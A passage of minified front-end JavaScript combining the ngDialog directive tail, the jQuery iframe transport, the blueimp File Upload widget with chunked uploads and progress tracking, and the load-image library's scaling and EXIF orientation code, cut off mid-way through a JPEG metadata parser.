e,f;r.preventDefault();e=n.isDefined(i.ngDialogScope)?i.ngDialogScope:"noScope";n.isDefined(u.ngDialogClosePrevious)&&t.close(u.ngDialogClosePrevious);f=t.getDefaults();t.open({template:u.ngDialog,className:u.ngDialogClass||f.className,controller:u.ngDialogController,controllerAs:u.ngDialogControllerAs,bindToController:u.ngDialogBindToController,scope:e,data:u.ngDialogData,showClose:u.ngDialogShowClose==="false"?!1:u.ngDialogShowClose==="true"?!0:f.showClose,closeByDocument:u.ngDialogCloseByDocument==="false"?!1:u.ngDialogCloseByDocument==="true"?!0:f.closeByDocument,closeByEscape:u.ngDialogCloseByEscape==="false"?!1:u.ngDialogCloseByEscape==="true"?!0:f.closeByEscape,overlay:u.ngDialogOverlay==="false"?!1:u.ngDialogOverlay==="true"?!0:f.overlay,preCloseCallback:u.ngDialogPreCloseCallback||f.preCloseCallback})})}}}]),e}),function(n){"use strict";typeof define=="function"&&define.amd?define(["jquery"],n):n(window.jQuery)}(function(n){"use strict";var t=0;n.ajaxTransport("iframe",function(i){if(i.async){var e=i.initialIframeSrc||"javascript:false;",r,u,f;return{send:function(o,s){r=n('<form style="display:none;"><\/form>');r.attr("accept-charset",i.formAcceptCharset);f=/\?/.test(i.url)?"&":"?";i.type==="DELETE"?(i.url=i.url+f+"_method=DELETE",i.type="POST"):i.type==="PUT"?(i.url=i.url+f+"_method=PUT",i.type="POST"):i.type==="PATCH"&&(i.url=i.url+f+"_method=PATCH",i.type="POST");t+=1;u=n('<iframe src="'+e+'" name="iframe-transport-'+t+'"><\/iframe>').bind("load",function(){var t,f=n.isArray(i.paramName)?i.paramName:[i.paramName];u.unbind("load").bind("load",function(){var t;try{if(t=u.contents(),!t.length||!t[0].firstChild)throw new Error;}catch(i){t=undefined}s(200,"success",{iframe:t});n('<iframe src="'+e+'"><\/iframe>').appendTo(r);window.setTimeout(function(){r.remove()},0)});r.prop("target",u.prop("name")).prop("action",i.url).prop("method",i.type);i.formData&&n.each(i.formData,function(t,i){n('<input type="hidden"/>').prop("name",i.name).val(i.value).appendTo(r)});i.fileInput&&i.fileInput.length&&i.type==="POST"&&(t=i.fileInput.clone(),i.fileInput.after(function(n){return t[n]}),i.paramName&&i.fileInput.each(function(t){n(this).prop("name",f[t]||i.paramName)}),r.append(i.fileInput).prop("enctype","multipart/form-data").prop("encoding","multipart/form-data"),i.fileInput.removeAttr("form"));r.submit();t&&t.length&&i.fileInput.each(function(i,r){var u=n(t[i]);n(r).prop("name",u.prop("name")).attr("form",u.attr("form"));u.replaceWith(r)})});r.append(u).appendTo(document.body)},abort:function(){u&&u.unbind("load").prop("src",e);r&&r.remove()}}}});n.ajaxSetup({converters:{"iframe text":function(t){return t&&n(t[0].body).text()},"iframe json":function(t){return t&&n.parseJSON(n(t[0].body).text())},"iframe html":function(t){return t&&n(t[0].body).html()},"iframe xml":function(t){var i=t&&t[0];return i&&n.isXMLDoc(i)?i:n.parseXML(i.XMLDocument&&i.XMLDocument.xml||n(i.body).html())},"iframe script":function(t){return t&&n.globalEval(n(t[0].body).text())}}})}),function(n){"use strict";typeof define=="function"&&define.amd?define(["jquery","jquery.ui.widget"],n):n(window.jQuery)}(function(n){"use strict";n.support.fileInput=!(new RegExp("(Android (1\\.[0156]|2\\.[01]))|(Windows Phone (OS 7|8\\.0))|(XBLWP)|(ZuneWP)|(WPDesktop)|(w(eb)?OSBrowser)|(webOS)|(Kindle/(1\\.0|2\\.[05]|3\\.0))").test(window.navigator.userAgent)||n('<input type="file">').prop("disabled"));n.support.xhrFileUpload=!!(window.ProgressEvent&&window.FileReader);n.support.xhrFormDataFileUpload=!!window.FormData;n.support.blobSlice=window.Blob&&(Blob.prototype.slice||Blob.prototype.webkitSlice||Blob.prototype.mozSlice);n.widget("blueimp.fileupload",{options:{dropZone:n(document),pasteZone:n(document),fileInput:undefined,replaceFileInput:!0,paramName:undefined,singleFileUploads:!0,limitMultiFileUploads:undefined,limitMultiFileUploadSize:undefined,limitMultiFileUploadSizeOverhead:512,sequentialUploads:!1,limitConcurrentUploads:undefined,forceIframeTransport:!1,redirect:undefined,redirectParamName:undefined,postMessage:undefined,multipart:!0,maxChunkSize:undefined,uploadedBytes:undefined,recalculateProgress:!0,progressInterval:100,bitrateInterval:500,autoUpload:!0,messages:{uploadedBytes:"Uploaded bytes exceed file size"},i18n:function(t,i){return t=this.messages[t]||t.toString(),i&&n.each(i,function(n,i){t=t.replace("{"+n+"}",i)}),t},formData:function(n){return n.serializeArray()},add:function(t,i){if(t.isDefaultPrevented())return!1;(i.autoUpload||i.autoUpload!==!1&&n(this).fileupload("option","autoUpload"))&&i.process().done(function(){i.submit()})},processData:!1,contentType:!1,cache:!1},_specialOptions:["fileInput","dropZone","pasteZone","multipart","forceIframeTransport"],_blobSlice:n.support.blobSlice&&function(){var n=this.slice||this.webkitSlice||this.mozSlice;return n.apply(this,arguments)},_BitrateTimer:function(){this.timestamp=Date.now?Date.now():(new Date).getTime();this.loaded=0;this.bitrate=0;this.getBitrate=function(n,t,i){var r=n-this.timestamp;return(!this.bitrate||!i||r>i)&&(this.bitrate=(t-this.loaded)*(1e3/r)*8,this.loaded=t,this.timestamp=n),this.bitrate}},_isXHRUpload:function(t){return!t.forceIframeTransport&&(!t.multipart&&n.support.xhrFileUpload||n.support.xhrFormDataFileUpload)},_getFormData:function(t){var i;return n.type(t.formData)==="function"?t.formData(t.form):n.isArray(t.formData)?t.formData:n.type(t.formData)==="object"?(i=[],n.each(t.formData,function(n,t){i.push({name:n,value:t})}),i):[]},_getTotal:function(t){var i=0;return n.each(t,function(n,t){i+=t.size||1}),i},_initProgressObject:function(t){var i={loaded:0,total:0,bitrate:0};t._progress?n.extend(t._progress,i):t._progress=i},_initResponseObject:function(n){var t;if(n._response)for(t in n._response)n._response.hasOwnProperty(t)&&delete n._response[t];else n._response={}},_onProgress:function(t,i){if(t.lengthComputable){var r=Date.now?Date.now():(new Date).getTime(),u;if(i._time&&i.progressInterval&&r-i._time<i.progressInterval&&t.loaded!==t.total)return;i._time=r;u=Math.floor(t.loaded/t.total*(i.chunkSize||i._progress.total))+(i.uploadedBytes||0);this._progress.loaded+=u-i._progress.loaded;this._progress.bitrate=this._bitrateTimer.getBitrate(r,this._progress.loaded,i.bitrateInterval);i._progress.loaded=i.loaded=u;i._progress.bitrate=i.bitrate=i._bitrateTimer.getBitrate(r,u,i.bitrateInterval);this._trigger("progress",n.Event("progress",{delegatedEvent:t}),i);this._trigger("progressall",n.Event("progressall",{delegatedEvent:t}),this._progress)}},_initProgressListener:function(t){var r=this,i=t.xhr?t.xhr():n.ajaxSettings.xhr();i.upload&&(n(i.upload).bind("progress",function(n){var i=n.originalEvent;n.lengthComputable=i.lengthComputable;n.loaded=i.loaded;n.total=i.total;r._onProgress(n,t)}),t.xhr=function(){return i})},_isInstanceOf:function(n,t){return Object.prototype.toString.call(t)==="[object "+n+"]"},_initXHRData:function(t){var f=this,i,r=t.files[0],e=t.multipart||!n.support.xhrFileUpload,u=n.type(t.paramName)==="array"?t.paramName[0]:t.paramName;t.headers=n.extend({},t.headers);t.contentRange&&(t.headers["Content-Range"]=t.contentRange);e&&!t.blob&&this._isInstanceOf("File",r)||(t.headers["Content-Disposition"]='attachment; filename="'+encodeURI(r.name)+'"');e?n.support.xhrFormDataFileUpload&&(t.postMessage?(i=this._getFormData(t),t.blob?i.push({name:u,value:t.blob}):n.each(t.files,function(r,f){i.push({name:n.type(t.paramName)==="array"&&t.paramName[r]||u,value:f})})):(f._isInstanceOf("FormData",t.formData)?i=t.formData:(i=new FormData,n.each(this._getFormData(t),function(n,t){i.append(t.name,t.value)})),t.blob?i.append(u,t.blob,r.name):n.each(t.files,function(r,e){(f._isInstanceOf("File",e)||f._isInstanceOf("Blob",e))&&i.append(n.type(t.paramName)==="array"&&t.paramName[r]||u,e,e.uploadName||e.name)})),t.data=i):(t.contentType=r.type||"application/octet-stream",t.data=t.blob||r);t.blob=null},_initIframeSettings:function(t){var i=n("<a><\/a>").prop("href",t.url).prop("host");t.dataType="iframe "+(t.dataType||"");t.formData=this._getFormData(t);t.redirect&&i&&i!==location.host&&t.formData.push({name:t.redirectParamName||"redirect",value:t.redirect})},_initDataSettings:function(n){this._isXHRUpload(n)?(this._chunkedUpload(n,!0)||(n.data||this._initXHRData(n),this._initProgressListener(n)),n.postMessage&&(n.dataType="postmessage "+(n.dataType||""))):this._initIframeSettings(n)},_getParamName:function(t){var r=n(t.fileInput),i=t.paramName;return i?n.isArray(i)||(i=[i]):(i=[],r.each(function(){for(var t=n(this),u=t.prop("name")||"files[]",r=(t.prop("files")||[1]).length;r;)i.push(u),r-=1}),i.length||(i=[r.prop("name")||"files[]"])),i},_initFormSettings:function(t){t.form&&t.form.length||(t.form=n(t.fileInput.prop("form")),t.form.length||(t.form=n(this.options.fileInput.prop("form"))));t.paramName=this._getParamName(t);t.url||(t.url=t.form.prop("action")||location.href);t.type=(t.type||n.type(t.form.prop("method"))==="string"&&t.form.prop("method")||"").toUpperCase();t.type!=="POST"&&t.type!=="PUT"&&t.type!=="PATCH"&&(t.type="POST");t.formAcceptCharset||(t.formAcceptCharset=t.form.attr("accept-charset"))},_getAJAXSettings:function(t){var i=n.extend({},this.options,t);return this._initFormSettings(i),this._initDataSettings(i),i},_getDeferredState:function(n){return n.state?n.state():n.isResolved()?"resolved":n.isRejected()?"rejected":"pending"},_enhancePromise:function(n){return n.success=n.done,n.error=n.fail,n.complete=n.always,n},_getXHRPromise:function(t,i,r){var u=n.Deferred(),f=u.promise();return i=i||this.options.context||f,t===!0?u.resolveWith(i,r):t===!1&&u.rejectWith(i,r),f.abort=u.promise,this._enhancePromise(f)},_addConvenienceMethods:function(t,i){var r=this,u=function(t){return n.Deferred().resolveWith(r,t).promise()};i.process=function(t,f){return(t||f)&&(i._processQueue=this._processQueue=(this._processQueue||u([this])).pipe(function(){return i.errorThrown?n.Deferred().rejectWith(r,[i]).promise():u(arguments)}).pipe(t,f)),this._processQueue||u([this])};i.submit=function(){return this.state()!=="pending"&&(i.jqXHR=this.jqXHR=r._trigger("submit",n.Event("submit",{delegatedEvent:t}),this)!==!1&&r._onSend(t,this)),this.jqXHR||r._getXHRPromise()};i.abort=function(){return this.jqXHR?this.jqXHR.abort():(this.errorThrown="abort",r._trigger("fail",null,this),r._getXHRPromise(!1))};i.state=function(){return this.jqXHR?r._getDeferredState(this.jqXHR):this._processQueue?r._getDeferredState(this._processQueue):void 0};i.processing=function(){return!this.jqXHR&&this._processQueue&&r._getDeferredState(this._processQueue)==="pending"};i.progress=function(){return this._progress};i.response=function(){return this._response}},_getUploadedBytes:function(n){var i=n.getResponseHeader("Range"),t=i&&i.split("-"),r=t&&t.length>1&&parseInt(t[1],10);return r&&r+1},_chunkedUpload:function(t,i){t.uploadedBytes=t.uploadedBytes||0;var u=this,f=t.files[0],e=f.size,r=t.uploadedBytes,c=t.maxChunkSize||e,l=this._blobSlice,o=n.Deferred(),s=o.promise(),a,h;return!(this._isXHRUpload(t)&&l&&(r||c<e))||t.data?!1:i?!0:r>=e?(f.error=t.i18n("uploadedBytes"),this._getXHRPromise(!1,t.context,[null,"error",f.error])):(h=function(){var i=n.extend({},t),s=i._progress.loaded;i.blob=l.call(f,r,r+c,f.type);i.chunkSize=i.blob.size;i.contentRange="bytes "+r+"-"+(r+i.chunkSize-1)+"/"+e;u._initXHRData(i);u._initProgressListener(i);a=(u._trigger("chunksend",null,i)!==!1&&n.ajax(i)||u._getXHRPromise(!1,i.context)).done(function(f,c,l){r=u._getUploadedBytes(l)||r+i.chunkSize;s+i.chunkSize-i._progress.loaded&&u._onProgress(n.Event("progress",{lengthComputable:!0,loaded:r-i.uploadedBytes,total:r-i.uploadedBytes}),i);t.uploadedBytes=i.uploadedBytes=r;i.result=f;i.textStatus=c;i.jqXHR=l;u._trigger("chunkdone",null,i);u._trigger("chunkalways",null,i);r<e?h():o.resolveWith(i.context,[f,c,l])}).fail(function(n,t,r){i.jqXHR=n;i.textStatus=t;i.errorThrown=r;u._trigger("chunkfail",null,i);u._trigger("chunkalways",null,i);o.rejectWith(i.context,[n,t,r])})},this._enhancePromise(s),s.abort=function(){return a.abort()},h(),s)},_beforeSend:function(n,t){this._active===0&&(this._trigger("start"),this._bitrateTimer=new this._BitrateTimer,this._progress.loaded=this._progress.total=0,this._progress.bitrate=0);this._initResponseObject(t);this._initProgressObject(t);t._progress.loaded=t.loaded=t.uploadedBytes||0;t._progress.total=t.total=this._getTotal(t.files)||1;t._progress.bitrate=t.bitrate=0;this._active+=1;this._progress.loaded+=t.loaded;this._progress.total+=t.total},_onDone:function(t,i,r,u){var f=u._progress.total,e=u._response;u._progress.loaded<f&&this._onProgress(n.Event("progress",{lengthComputable:!0,loaded:f,total:f}),u);e.result=u.result=t;e.textStatus=u.textStatus=i;e.jqXHR=u.jqXHR=r;this._trigger("done",null,u)},_onFail:function(n,t,i,r){var u=r._response;r.recalculateProgress&&(this._progress.loaded-=r._progress.loaded,this._progress.total-=r._progress.total);u.jqXHR=r.jqXHR=n;u.textStatus=r.textStatus=t;u.errorThrown=r.errorThrown=i;this._trigger("fail",null,r)},_onAlways:function(n,t,i,r){this._trigger("always",null,r)},_onSend:function(t,i){i.submit||this._addConvenienceMethods(t,i);var r=this,f,s,e,h,u=r._getAJAXSettings(i),o=function(){return r._sending+=1,u._bitrateTimer=new r._BitrateTimer,f=f||((s||r._trigger("send",n.Event("send",{delegatedEvent:t}),u)===!1)&&r._getXHRPromise(!1,u.context,s)||r._chunkedUpload(u)||n.ajax(u)).done(function(n,t,i){r._onDone(n,t,i,u)}).fail(function(n,t,i){r._onFail(n,t,i,u)}).always(function(n,t,i){if(r._onAlways(n,t,i,u),r._sending-=1,r._active-=1,u.limitConcurrentUploads&&u.limitConcurrentUploads>r._sending)for(var f=r._slots.shift();f;){if(r._getDeferredState(f)==="pending"){f.resolve();break}f=r._slots.shift()}r._active===0&&r._trigger("stop")})};return(this._beforeSend(t,u),this.options.sequentialUploads||this.options.limitConcurrentUploads&&this.options.limitConcurrentUploads<=this._sending)?(this.options.limitConcurrentUploads>1?(e=n.Deferred(),this._slots.push(e),h=e.pipe(o)):(this._sequence=this._sequence.pipe(o,o),h=this._sequence),h.abort=function(){return(s=[undefined,"abort","abort"],!f)?(e&&e.rejectWith(u.context,s),o()):f.abort()},this._enhancePromise(h)):o()},_onAdd:function(t,i){var a=this,p=!0,f=n.extend({},this.options,i),u=i.files,v=u.length,o=f.limitMultiFileUploads,c=f.limitMultiFileUploadSize,b=f.limitMultiFileUploadSizeOverhead,w=0,l=this._getParamName(f),s,e,h,r,y=0;if(c&&(!v||u[0].size===undefined)&&(c=undefined),(f.singleFileUploads||o||c)&&this._isXHRUpload(f))if(f.singleFileUploads||c||!o)if(!f.singleFileUploads&&c)for(h=[],s=[],r=0;r<v;r=r+1)w+=u[r].size+b,(r+1===v||w+u[r+1].size+b>c||o&&r+1-y>=o)&&(h.push(u.slice(y,r+1)),e=l.slice(y,r+1),e.length||(e=l),s.push(e),y=r+1,w=0);else s=l;else for(h=[],s=[],r=0;r<v;r+=o)h.push(u.slice(r,r+o)),e=l.slice(r,r+o),e.length||(e=l),s.push(e);else h=[u],s=[l];return i.originalFiles=u,n.each(h||u,function(r,u){var f=n.extend({},i);return f.files=h?u:[u],f.paramName=s[r],a._initResponseObject(f),a._initProgressObject(f),a._addConvenienceMethods(t,f),p=a._trigger("add",n.Event("add",{delegatedEvent:t}),f)}),p},_replaceFileInput:function(t){var i=t.clone(!0);n("<form><\/form>").append(i)[0].reset();t.after(i).detach();n.cleanData(t.unbind("remove"));this.options.fileInput=this.options.fileInput.map(function(n,r){return r===t[0]?i[0]:r});t[0]===this.element[0]&&(this.element=i)},_handleFileTreeEntry:function(t,i){var e=this,r=n.Deferred(),u=function(n){n&&!n.entry&&(n.entry=t);r.resolve([n])},f;return i=i||"",t.isFile?t._file?(t._file.relativePath=i,r.resolve(t._file)):t.file(function(n){n.relativePath=i;r.resolve(n)},u):t.isDirectory?(f=t.createReader(),f.readEntries(function(n){e._handleFileTreeEntries(n,i+t.name+"/").done(function(n){r.resolve(n)}).fail(u)},u)):r.resolve([]),r.promise()},_handleFileTreeEntries:function(t,i){var r=this;return n.when.apply(n,n.map(t,function(n){return r._handleFileTreeEntry(n,i)})).pipe(function(){return Array.prototype.concat.apply([],arguments)})},_getDroppedFiles:function(t){t=t||{};var i=t.items;return i&&i.length&&(i[0].webkitGetAsEntry||i[0].getAsEntry)?this._handleFileTreeEntries(n.map(i,function(n){var t;return n.webkitGetAsEntry?(t=n.webkitGetAsEntry(),t&&(t._file=n.getAsFile()),t):n.getAsEntry()})):n.Deferred().resolve(n.makeArray(t.files)).promise()},_getSingleFileInputFiles:function(t){t=n(t);var r=t.prop("webkitEntries")||t.prop("entries"),i,u;if(r&&r.length)return this._handleFileTreeEntries(r);if(i=n.makeArray(t.prop("files")),i.length)i[0].name===undefined&&i[0].fileName&&n.each(i,function(n,t){t.name=t.fileName;t.size=t.fileSize});else{if(u=t.prop("value"),!u)return n.Deferred().resolve([]).promise();i=[{name:u.replace(/^.*\\/,"")}]}return n.Deferred().resolve(i).promise()},_getFileInputFiles:function(t){return!(t instanceof n)||t.length===1?this._getSingleFileInputFiles(t):n.when.apply(n,n.map(t,this._getSingleFileInputFiles)).pipe(function(){return Array.prototype.concat.apply([],arguments)})},_onChange:function(t){var r=this,i={fileInput:n(t.target),form:n(t.target.form)};this._getFileInputFiles(i.fileInput).always(function(u){i.files=u;r.options.replaceFileInput&&r._replaceFileInput(i.fileInput);r._trigger("change",n.Event("change",{delegatedEvent:t}),i)!==!1&&r._onAdd(t,i)})},_onPaste:function(t){var i=t.originalEvent&&t.originalEvent.clipboardData&&t.originalEvent.clipboardData.items,r={files:[]};i&&i.length&&(n.each(i,function(n,t){var i=t.getAsFile&&t.getAsFile();i&&r.files.push(i)}),this._trigger("paste",n.Event("paste",{delegatedEvent:t}),r)!==!1&&this._onAdd(t,r))},_onDrop:function(t){t.dataTransfer=t.originalEvent&&t.originalEvent.dataTransfer;var u=this,i=t.dataTransfer,r={};i&&i.files&&i.files.length&&(t.preventDefault(),this._getDroppedFiles(i).always(function(i){r.files=i;u._trigger("drop",n.Event("drop",{delegatedEvent:t}),r)!==!1&&u._onAdd(t,r)}))},_onDragOver:function(t){t.dataTransfer=t.originalEvent&&t.originalEvent.dataTransfer;var i=t.dataTransfer;i&&n.inArray("Files",i.types)!==-1&&this._trigger("dragover",n.Event("dragover",{delegatedEvent:t}))!==!1&&(t.preventDefault(),i.dropEffect="copy")},_initEventHandlers:function(){this._isXHRUpload(this.options)&&(this._on(this.options.dropZone,{dragover:this._onDragOver,drop:this._onDrop}),this._on(this.options.pasteZone,{paste:this._onPaste}));n.support.fileInput&&this._on(this.options.fileInput,{change:this._onChange})},_destroyEventHandlers:function(){this._off(this.options.dropZone,"dragover drop");this._off(this.options.pasteZone,"paste");this._off(this.options.fileInput,"change")},_setOption:function(t,i){var r=n.inArray(t,this._specialOptions)!==-1;r&&this._destroyEventHandlers();this._super(t,i);r&&(this._initSpecialOptions(),this._initEventHandlers())},_initSpecialOptions:function(){var t=this.options;t.fileInput===undefined?t.fileInput=this.element.is('input[type="file"]')?this.element:this.element.find('input[type="file"]'):t.fileInput instanceof n||(t.fileInput=n(t.fileInput));t.dropZone instanceof n||(t.dropZone=n(t.dropZone));t.pasteZone instanceof n||(t.pasteZone=n(t.pasteZone))},_getRegExp:function(n){var t=n.split("/"),i=t.pop();return t.shift(),new RegExp(t.join("/"),i)},_isRegExpOption:function(t,i){return t!=="url"&&n.type(i)==="string"&&/^\/.*\/[igm]{0,3}$/.test(i)},_initDataAttributes:function(){var t=this,r=this.options,i=n(this.element[0].cloneNode(!1));n.each(i.data(),function(n,u){var f="data-"+n.replace(/([a-z])([A-Z])/g,"$1-$2").toLowerCase();i.attr(f)&&(t._isRegExpOption(n,u)&&(u=t._getRegExp(u)),r[n]=u)})},_create:function(){this._initDataAttributes();this._initSpecialOptions();this._slots=[];this._sequence=this._getXHRPromise(!0);this._sending=this._active=0;this._initProgressObject(this);this._initEventHandlers()},active:function(){return this._active},progress:function(){return this._progress},add:function(t){var i=this;t&&!this.options.disabled&&(t.fileInput&&!t.files?this._getFileInputFiles(t.fileInput).always(function(n){t.files=n;i._onAdd(null,t)}):(t.files=n.makeArray(t.files),this._onAdd(null,t)))},send:function(t){if(t&&!this.options.disabled){if(t.fileInput&&!t.files){var e=this,i=n.Deferred(),r=i.promise(),u,f;return r.abort=function(){return(f=!0,u)?u.abort():(i.reject(null,"abort","abort"),r)},this._getFileInputFiles(t.fileInput).always(function(n){if(!f){if(!n.length){i.reject();return}t.files=n;u=e._onSend(null,t).then(function(n,t,r){i.resolve(n,t,r)},function(n,t,r){i.reject(n,t,r)})}}),this._enhancePromise(r)}if(t.files=n.makeArray(t.files),t.files.length)return this._onSend(null,t)}return this._getXHRPromise(!1,t&&t.context)}})}),function(n){"use strict";typeof define=="function"&&define.amd?define(["jquery","./jquery.fileupload"],n):n(window.jQuery)}(function(n){"use strict";var t=n.blueimp.fileupload.prototype.options.add;n.widget("blueimp.fileupload",n.blueimp.fileupload,{options:{processQueue:[],add:function(i,r){var u=n(this);r.process(function(){return u.fileupload("process",r)});t.call(this,i,r)}},processActions:{},_processFile:function(t,i){var r=this,f=n.Deferred().resolveWith(r,[t]),u=f.promise();return this._trigger("process",null,t),n.each(t.processQueue,function(t,f){var e=function(t){return i.errorThrown?n.Deferred().rejectWith(r,[i]).promise():r.processActions[f.action].call(r,t,f)};u=u.pipe(e,f.always&&e)}),u.done(function(){r._trigger("processdone",null,t);r._trigger("processalways",null,t)}).fail(function(){r._trigger("processfail",null,t);r._trigger("processalways",null,t)}),u},_transformProcessQueue:function(t){var i=[];n.each(t.processQueue,function(){var r={},f=this.action,u=this.prefix===!0?f:this.prefix;n.each(this,function(i,f){r[i]=n.type(f)==="string"&&f.charAt(0)==="@"?t[f.slice(1)||(u?u+i.charAt(0).toUpperCase()+i.slice(1):i)]:f});i.push(r)});t.processQueue=i},processing:function(){return this._processing},process:function(t){var i=this,r=n.extend({},this.options,t);return r.processQueue&&r.processQueue.length&&(this._transformProcessQueue(r),this._processing===0&&this._trigger("processstart"),n.each(t.files,function(u){var f=u?n.extend({},r):r,e=function(){return t.errorThrown?n.Deferred().rejectWith(i,[t]).promise():i._processFile(f,t)};f.index=u;i._processing+=1;i._processingQueue=i._processingQueue.pipe(e,e).always(function(){i._processing-=1;i._processing===0&&i._trigger("processstop")})})),this._processingQueue},_create:function(){this._super();this._processing=0;this._processingQueue=n.Deferred().resolveWith(this).promise()}})});!function(n){"use strict";var t=function(n,i,r){var f,e,u=document.createElement("img");if(u.onerror=i,u.onload=function(){!e||r&&r.noRevoke||t.revokeObjectURL(e);i&&i(t.scale(u,r))},t.isInstanceOf("Blob",n)||t.isInstanceOf("File",n))f=e=t.createObjectURL(n),u._type=n.type;else{if("string"!=typeof n)return!1;f=n;r&&r.crossOrigin&&(u.crossOrigin=r.crossOrigin)}return f?(u.src=f,u):t.readFile(n,function(n){var t=n.target;t&&t.result?u.src=t.result:i&&i(n)})},i=window.createObjectURL&&window||window.URL&&URL.revokeObjectURL&&URL||window.webkitURL&&webkitURL;t.isInstanceOf=function(n,t){return Object.prototype.toString.call(t)==="[object "+n+"]"};t.transformCoordinates=function(){};t.getTransformedOptions=function(n,t){var i,r,u,f,e=t.aspectRatio;if(!e)return t;i={};for(r in t)t.hasOwnProperty(r)&&(i[r]=t[r]);return i.crop=!0,u=n.naturalWidth||n.width,f=n.naturalHeight||n.height,u/f>e?(i.maxWidth=f*e,i.maxHeight=f):(i.maxWidth=u,i.maxHeight=u/e),i};t.renderImageToCanvas=function(n,t,i,r,u,f,e,o,s,h){return n.getContext("2d").drawImage(t,i,r,u,f,e,o,s,h),n};t.hasCanvasOption=function(n){return n.canvas||n.crop||n.aspectRatio};t.scale=function(n,i){i=i||{};var f,e,a,v,o,s,h,c,w,l=document.createElement("canvas"),b=n.getContext||t.hasCanvasOption(i)&&l.getContext,y=n.naturalWidth||n.width,p=n.naturalHeight||n.height,r=y,u=p,k=function(){var n=Math.max((a||r)/r,(v||u)/u);n>1&&(r*=n,u*=n)},d=function(){var n=Math.min((f||r)/r,(e||u)/u);1>n&&(r*=n,u*=n)};return b&&(i=t.getTransformedOptions(n,i),h=i.left||0,c=i.top||0,i.sourceWidth?(o=i.sourceWidth,void 0!==i.right&&void 0===i.left&&(h=y-o-i.right)):o=y-h-(i.right||0),i.sourceHeight?(s=i.sourceHeight,void 0!==i.bottom&&void 0===i.top&&(c=p-s-i.bottom)):s=p-c-(i.bottom||0),r=o,u=s),f=i.maxWidth,e=i.maxHeight,a=i.minWidth,v=i.minHeight,b&&f&&e&&i.crop?(r=f,u=e,w=o/s-f/e,0>w?(s=e*o/f,void 0===i.top&&void 0===i.bottom&&(c=(p-s)/2)):w>0&&(o=f*s/e,void 0===i.left&&void 0===i.right&&(h=(y-o)/2))):((i.contain||i.cover)&&(a=f=f||a,v=e=e||v),i.cover?(d(),k()):(k(),d())),b?(l.width=r,l.height=u,t.transformCoordinates(l,i),t.renderImageToCanvas(l,n,h,c,o,s,0,0,r,u)):(n.width=r,n.height=u,n)};t.createObjectURL=function(n){return i?i.createObjectURL(n):!1};t.revokeObjectURL=function(n){return i?i.revokeObjectURL(n):!1};t.readFile=function(n,t,i){if(window.FileReader){var r=new FileReader;if(r.onload=r.onerror=t,i=i||"readAsDataURL",r[i])return r[i](n),r}return!1};"function"==typeof define&&define.amd?define(function(){return t}):n.loadImage=t}(this),function(n){"use strict";"function"==typeof define&&define.amd?define(["load-image"],n):n(window.loadImage)}(function(n){"use strict";if(window.navigator&&window.navigator.platform&&/iP(hone|od|ad)/.test(window.navigator.platform)){var t=n.renderImageToCanvas;n.detectSubsampling=function(n){var t,i;return n.width*n.height>1048576?(t=document.createElement("canvas"),t.width=t.height=1,i=t.getContext("2d"),i.drawImage(n,-n.width+1,0),0===i.getImageData(0,0,1,1).data[3]):!1};n.detectVerticalSquash=function(n,t){var o,u,f,i,s,r=n.naturalHeight||n.height,e=document.createElement("canvas"),h=e.getContext("2d");for(t&&(r/=2),e.width=1,e.height=r,h.drawImage(n,0,0),o=h.getImageData(0,0,1,r).data,u=0,f=r,i=r;i>u;)s=o[4*(i-1)+3],0===s?f=i:u=i,i=f+u>>1;return i/r||1};n.renderImageToCanvas=function(i,r,u,f,e,o,s,h,c,l){if("image/jpeg"===r._type){var v,y,p,w,k=i.getContext("2d"),b=document.createElement("canvas"),a=1024,d=b.getContext("2d");if(b.width=a,b.height=a,k.save(),v=n.detectSubsampling(r),v&&(u/=2,f/=2,e/=2,o/=2),y=n.detectVerticalSquash(r,v),v||1!==y){for(f*=y,c=Math.ceil(a*c/e),l=Math.ceil(a*l/o/y),h=0,w=0;o>w;){for(s=0,p=0;e>p;)d.clearRect(0,0,a,a),d.drawImage(r,u,f,e,o,-p,-w,e,o),k.drawImage(b,0,0,a,a,s,h,c,l),p+=a,s+=c;w+=a;h+=l}return k.restore(),i}}return t(i,r,u,f,e,o,s,h,c,l)}}}),function(n){"use strict";"function"==typeof define&&define.amd?define(["load-image"],n):n(window.loadImage)}(function(n){"use strict";var t=n.hasCanvasOption,i=n.transformCoordinates,r=n.getTransformedOptions;n.hasCanvasOption=function(i){return t.call(n,i)||i.orientation};n.transformCoordinates=function(t,r){i.call(n,t,r);var u=t.getContext("2d"),f=t.width,e=t.height,o=r.orientation;if(o&&!(o>8))switch(o>4&&(t.width=e,t.height=f),o){case 2:u.translate(f,0);u.scale(-1,1);break;case 3:u.translate(f,e);u.rotate(Math.PI);break;case 4:u.translate(0,e);u.scale(1,-1);break;case 5:u.rotate(.5*Math.PI);u.scale(1,-1);break;case 6:u.rotate(.5*Math.PI);u.translate(0,-e);break;case 7:u.rotate(.5*Math.PI);u.translate(f,-e);u.scale(-1,1);break;case 8:u.rotate(-.5*Math.PI);u.translate(-f,0)}};n.getTransformedOptions=function(t,i){var f,e,u=r.call(n,t,i),o=u.orientation;if(!o||o>8||1===o)return u;f={};for(e in u)u.hasOwnProperty(e)&&(f[e]=u[e]);switch(u.orientation){case 2:f.left=u.right;f.right=u.left;break;case 3:f.left=u.right;f.top=u.bottom;f.right=u.left;f.bottom=u.top;break;case 4:f.top=u.bottom;f.bottom=u.top;break;case 5:f.left=u.top;f.top=u.left;f.right=u.bottom;f.bottom=u.right;break;case 6:f.left=u.top;f.top=u.right;f.right=u.bottom;f.bottom=u.left;break;case 7:f.left=u.bottom;f.top=u.right;f.right=u.top;f.bottom=u.left;break;case 8:f.left=u.bottom;f.top=u.left;f.right=u.top;f.bottom=u.right}return u.orientation>4&&(f.maxWidth=u.maxHeight,f.maxHeight=u.maxWidth,f.minWidth=u.minHeight,f.minHeight=u.minWidth,f.sourceWidth=u.sourceHeight,f.sourceHeight=u.sourceWidth),f}}),function(n){"use strict";"function"==typeof define&&define.amd?define(["load-image"],n):n(window.loadImage)}(function(n){"use strict";var t=window.Blob&&(Blob.prototype.slice||Blob.prototype.webkitSlice||Blob.prototype.mozSlice);n.blobSlice=t&&function(){var n=this.slice||this.webkitSlice||this.mozSlice;return n.apply(this,arguments)};n.metaDataParsers={jpeg:{65505:[]}};n.parseMetaData=function(t,i,r){r=r||{};var f=this,e=r.maxMetaDataSize||262144,u={},o=!(window.DataView&&t&&t.size>=12&&"image/jpeg"===t.type&&n.blobSlice);(o||!n.readFile(n.blobSlice.call(t,0,e),function(t){if(t.target.error)return console.log(t.target.error),void i(u);var s,h,v,c,l=t.target.result,o=new 